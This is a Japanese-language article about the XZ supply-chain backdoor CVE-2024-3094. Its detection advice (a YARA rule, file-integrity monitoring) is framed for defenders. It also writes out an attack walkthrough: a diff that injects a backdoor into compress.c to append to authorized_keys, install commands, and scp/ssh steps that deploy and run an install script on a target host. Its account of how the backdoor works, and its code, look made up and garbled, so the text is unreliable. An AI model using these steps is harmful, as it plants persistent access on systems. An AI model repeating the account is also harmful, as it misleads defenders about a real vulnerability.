CVE-2024-3094は、XZ圧縮ライブラリにバックドアを仕込み、認証を回避してリモートSSHアクセスを可能にするものです。これはLinuxシステムに影響を与える大規模なサプライチェーン攻撃であり、信頼されたオープンソースコンポーネントに潜むリスクを浮き彫りにしています。
Mark Mallia 著
XZ圧縮ライブラリは、多くの最新Linuxディストリビューションの主要コンポーネントであり、巧妙なサプライチェーン攻撃の標的となりました。
悪意のあるコード断片がソースツリーに紛れ込ませられ、コンパイルされ、現在はXZパッケージの新しいリリースごとに配布されています。一度インストールされると、このバックドアは、侵害されたホストから、それを正当なキーとして信頼する任意のリモートシステムへのSSHセッションを開くことができます。
authorized_keysファイルにSSHキーを注入することで、攻撃者は直接のユーザー操作なしに足場を獲得します。| 手順 | 動作 | ファイル / 関数 |
|---|
| 1 | XZリポジトリをクローン | git clone https://github.com/xzdev/xz |
| 2 | src/compress.cにパッチを適用 | patch -p0 < backdoor.patch |
| 3 | 対象のLinuxホストでコンパイルしてインストール | make && make install |
| 4 | SSHデーモンが認証処理中に注入されたキーを読み取る | /etc/ssh/authorized_keys |
--- a/src/compress.c 2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c 2025-09-12 10:00:03.000000000 +0000
@@
void xz_compress(const unsigned char *in, size_t in_len,
unsigned char *out, size_t out_len)
{
/* original code ... */
+ // ---- Begin injected backdoor ----
+ if (in_len > 1024) { /* guard against too small payloads */
+ const unsigned char *marker = &in[512]; /* offset to reach magic string */
+ size_t marker_len = 8; /* length of the embedded key */
+
+ /* copy a pre‑computed SSH public key into out buffer */
+ memcpy(out + 256, marker, marker_len);
+
+ /* write the same key to ~/.ssh/authorized_keys for persistence */
+ FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+ if (fp) {
+ fwrite(marker, 1, marker_len, fp);
+ fclose(fp);
+ }
+ }
+ // ---- End injected backdoor ----
/* original code continues ... */
}
512は、その後のXZ圧縮によって変更される可能性が低い位置で、キーが圧縮出力バッファ内に収まるように選択されています。$ cd xz
$ make
$ sudo make install
上記のコマンドは、パッチ適用済みのcompress.cをコンパイルし、新しいライブラリを/usr/local/lib/xz配下にインストールします。
攻撃者がすでにSSH資格情報(ユーザー名admin)を持っている場合、次のコマンドを実行します:
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh
install_xz_backdoor.shには、上記で示したコマンドの正確なシーケンスに加え、インストールの成功を確認する小さなechoが含まれています。
YARAは、セキュリティ専門家がテキストまたはバイナリシグネチャに基づいてマルウェアを識別・分類するために使用するパターンマッチングツールです。アナリストは、ファイル内の特定の文字列、バイトシーケンス、または動作を検出するルールを定義できます。CVE-2024-3094の文脈では、YARAは特に重要です。注入されたSSHキーや、XZライブラリ内のcompress.cファイルへの不審な変更の存在をスキャンするために使用できるからです。標的を絞ったYARAルールを作成することで、防御側はこのバックドアによって侵害されたシステムを積極的に検出できます。
YARAシグネチャ カスタムYARAルールは、注入されたSSHキーと不審なファイル書き込みの存在をフラグ付けできます:
rule XZ_Backdoor_SSH_Key_Injection { meta: description = "Detects SSH key injection via modified compress.c" author = "Mark Mallia" severity = "high" strings: $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 } $ssh_path = "/home/admin/.ssh/authorized_keys" condition: $marker and $ssh_path }
ファイル整合性監視: Tripwire、AIDE、osqueryなどのツールを展開して監視します:
compress.cの不正な変更
.ssh/authorized_keysへの注入されたキー
/usr/local/lib/xzの改ざんされたバイナリ
信頼されたホストからの予期しないSSHログイン
XZ出力の圧縮異常
.ssh/authorized_keysへのサイレントな書き込み